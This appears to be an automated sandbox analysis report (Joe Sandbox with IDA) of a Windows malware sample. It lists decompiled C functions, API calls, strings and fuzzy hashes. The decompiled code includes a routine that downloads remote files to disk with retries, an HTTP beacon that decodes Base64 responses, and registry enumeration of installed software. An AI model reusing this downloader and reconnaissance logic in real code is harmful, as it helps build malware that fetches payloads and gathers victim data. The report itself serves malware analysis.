Vq, xrefs: 00406E6B
@Vq, xrefs: 00406EA3, 00406F68

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: LibraryLoadVersion
String ID: Vq$@Vq
API String ID: 3209957514-3634219686
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 42.3, APIs: 22, Strings: 2, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,007156A0), ref: 00408DEA
lstrcat.KERNEL32(?,007156E0), ref: 00408E10
lstrcat.KERNEL32(?,007156A0), ref: 00408EC8
lstrcat.KERNEL32(?,007156E0), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Strings

Vq, xrefs: 00408E02, 00408EE0
(pq, xrefs: 00408C1A, 00408C1D

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: (pq$Vq
API String ID: 3196222039-1285743043
Opcode ID: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 40.7, APIs: 18, Strings: 9, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x7120c8
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x714840
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x716120
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x7120c8
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x714840
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x716150
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x7120c8
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x714840
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x716138
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x7120c8
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x714840
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x716168
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x7120c8
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x714840
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x716198
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x7120c8
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x714840
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x7147e0
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x716c40
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x716f60
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x716d08
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x714880
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x716da8
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x716e20
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,007120C8), ref: 0040549C
lstrcat.KERNEL32(?,00714840), ref: 004054B0
lstrcat.KERNEL32(?,00716120), ref: 004054C4
lstrcat.KERNEL32(?,007120C8), ref: 004054D7
lstrcat.KERNEL32(?,00714840), ref: 004054EB
lstrcat.KERNEL32(?,00716150), ref: 004054FF
lstrcat.KERNEL32(?,007120C8), ref: 00405512
lstrcat.KERNEL32(?,00714840), ref: 00405526
lstrcat.KERNEL32(?,00716138), ref: 0040553A
lstrcat.KERNEL32(?,007120C8), ref: 0040554D
lstrcat.KERNEL32(?,00714840), ref: 00405561
lstrcat.KERNEL32(?,00716168), ref: 00405575
lstrcat.KERNEL32(?,007120C8), ref: 00405588
lstrcat.KERNEL32(?,00714840), ref: 0040559C
lstrcat.KERNEL32(?,00716198), ref: 004055B0
lstrcat.KERNEL32(?,007120C8), ref: 004055C3
lstrcat.KERNEL32(?,00714840), ref: 004055D7
lstrcat.KERNEL32(?,007147E0), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Strings

@lq, xrefs: 004055F1
`oq, xrefs: 00405606
8aq, xrefs: 0040552C
@Hq, xrefs: 004054A2, 004054DD, 00405518, 00405553, 0040558E, 004055C9
haq, xrefs: 00405567
Gq, xrefs: 004055DD
nq, xrefs: 0040565D
aq, xrefs: 004054B6
Paq, xrefs: 004054F1

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: aq$ nq$8aq$@Hq$@lq$Paq$`oq$haq$Gq
API String ID: 3671864319-3701286906
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000000,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,00715610), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,007157A0), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,00715700), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,00715620), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,00715640), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Strings

Vq, xrefs: 00407CA1
@Vq, xrefs: 00407CDB

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: Vq$@Vq
API String ID: 3522136165-3634219686
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_v2020 = InternetOpenA(0x41401a, 0, 0, 0, 0);
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_v2016 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0);
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0);
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_v4304 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308);
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,007120C8,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,007120C8,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,007120C8), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

https://, xrefs: 004051EA
200, xrefs: 0040534D

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				long _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x715810
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068);
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_v2072 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0);
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x715810
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						if(RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064) == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x718cc8
							if(RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x718d58
									if(RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b445
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000002,00715810,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

%s\%s, xrefs: 0040B40E
?, xrefs: 0040B357

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.gz, xrefs: 004115FC
.zip, xrefs: 00411586
.tgz, xrefs: 00411613
.arc, xrefs: 004115B7
.lzh, xrefs: 004115CE
.zoo, xrefs: 004115A0
.arj, xrefs: 004115E5

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_v20 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060);
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0);
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					CloseHandle(_v20);
					InternetCloseHandle(_v12);
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
